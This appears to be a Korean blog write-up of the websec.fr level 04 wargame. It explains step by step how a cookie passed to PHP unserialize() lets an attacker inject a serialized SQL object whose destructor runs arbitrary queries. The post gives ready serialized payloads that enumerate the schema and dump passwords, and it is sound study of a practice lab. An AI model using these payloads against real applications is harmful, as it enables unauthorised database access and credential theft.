PHP Object Injection에 대해 공부를 해보고 이에 대한 문제를 풀어보고자 websec에서 관련된 문제 중 가장 쉬운 문제를 풀어보았다.
처음 접하는 분들이 어떤 flow로 exploit이 되는지 이해하는데 도움이 되었으면 한다.
해당 문제 링크는 아래와 같다.
http://websec.fr/level04/index.php
문제에 접근하면 소스코드 2개를 볼 수 있다.
해당 소스코드를 분석해본 결과 unserilizse와 serialize가 보이는 것으로 보아 PHP Object Injection 기법을 이용하는 문제이지 않을까 하였다.
그래서 조금씩 분석을 해보았다.
if (isset ($_COOKIE['leet_hax0r'])) {
$sess_data = unserialize (base64_decode ($_COOKIE['leet_hax0r']));
try {
if (is_array($sess_data) && $sess_data['ip'] != $_SERVER['REMOTE_ADDR']) {
die('CANT HACK US!!!');
}
} catch(Exception $e) {
echo $e;
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('leet_hax0r', $cookie, time () + (86400 * 30));
}
첫번째 소스코드부분의 일부이다.
일단 leet_hax0r 이라는 쿠키값이 세팅되어있으면 해당 값을 base64로 디코딩진행 후 unserialize한다. 따라서 leet_hax0r라는 쿠키가 공격 point임을 알 수 있다.
그렇다면 해당 부분을 이용하여 어떤 식으로 진행해야할까?
소스코드의 윗부분을 보면 아래와 같은 코드가 존재한다.
$sql->connect();
$sql->query = 'SELECT username FROM users WHERE id=';
즉 SQL이라는 Object를 하나 생성 후 sql이라는 변수에 담아준 뒤 connect() 함수를 실행시키고 query라는 property에 SQL 쿼리를 선언해주고 있다.
try {
$sql->query .= $_REQUEST['id'];
} catch(Exception $e) {
echo ' Invalid query';
}
}
그리고 마지막 소스코드의 마지막 부분을 보면 id라는 값을 받아 query의 끝에 붙여주는 것을 볼 수 있다.
여기서 의문점이 든다.
쿼리 실행하는 것이 보이지 않는데 쿼리 실행결과를 어디서 가져오는 것일까?
그건 바로 두번째 소스코드를 보면 알 수 있다.
public $query = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new SQLite3 ("database.db", SQLITE3_OPEN_READONLY);
}
public function SQL_query($query) {
$this->query = $query;
}
public function execute() {
return $this->conn->query ($this->query);
}
public function __destruct() {
if (!isset ($this->conn)) {
$this->connect ();
}
$ret = $this->execute ();
if (false !== $ret) {
while (false !== ($row = $ret->fetchArray (SQLITE3_ASSOC))) {
echo '<p class="well"><strong>Username:<strong> ' . $row['username'] . '</p>';
}
}
}
}
마지막에 선언된 __destruct() 함수는 클래스의 소멸자로서 해당 Object의 모든 참조가 삭제되거나 명시적으로 파기되었을 때 호출된다.
즉, 첫번째 소스코드에서 코드가 끝나며 생성된 SQL이라는 Object가 파기되면서 __destruct() 함수가 실행되는 것이다.
그러므로 현재 세팅되어 있는 leet_hax0r을 변조하여 sql 쿼리를 우리가 원하는 대로 바꿔주면 flag를 얻을 수 있는 것이다.
테스트를 해보기 위해 아래와 같은 값을 base64 encoding하여 leet_hax0r 에 넣은 뒤 User id 부분에 임의의 숫자를 입력하고 [Go]를 눌러보았다..
O:3:"SQL":1:{s:5:"query";s:20:"select 1 as username";}
그 결과 우리가 원하는대로 1이 출력됨을 볼 수 있다.
해당 값의 하나하나 분석은 아래의 링크를 참고하길 바란다.
https://blog.ripstech.com/2018/php-object-injection/
여기서 쿼리의 마지막에 as username이라고 해준 이유는 2번째 소스코드 확인해보면 쿼리의 결과 중 username에 대한 값을 출력해주기 때문이다.
이제 Flag를 얻기 위해 아래의 값을 base64 encoding한 뒤 실행시키면 flag를 얻을 수 있다.
O:3:"SQL":1:{s:5:"query";s:42:"select name as username from sqlite_master";}
O:3:"SQL":1:{s:5:"query";s:64:"select sql as username from sqlite_master where tbl_name='users'";}
O:3:"SQL":1:{s:5:"query";s:38:"select password as username from users";}
그 결과 FLAG를 확인할 수 있다.
'Hacking > Web' 카테고리의 다른 글
[websec.fr] level 25 writeup with parse_url bug (0) | 2019.04.07 |
---|---|
[WebSec.fr] level 17 writeup (0) | 2019.03.28 |
WAS별 default로 허용되어있는 jsp 관련 확장자 (0) | 2019.03.26 |
SQL Injection in SQLite3 (0) | 2019.03.17 |
Node.JS (0) | 2019.03.03 |